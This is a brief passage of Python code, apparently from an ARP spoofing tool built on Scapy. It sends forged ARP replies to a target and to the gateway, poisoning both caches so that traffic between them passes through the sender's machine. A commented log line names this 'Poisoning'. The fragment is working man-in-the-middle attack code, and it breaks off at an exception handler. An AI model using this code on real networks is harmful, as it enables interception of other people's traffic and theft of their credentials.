try:
                                #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
                                self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
                                self.s2.send(Ether(src=self.mymac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
                            except Exception as e: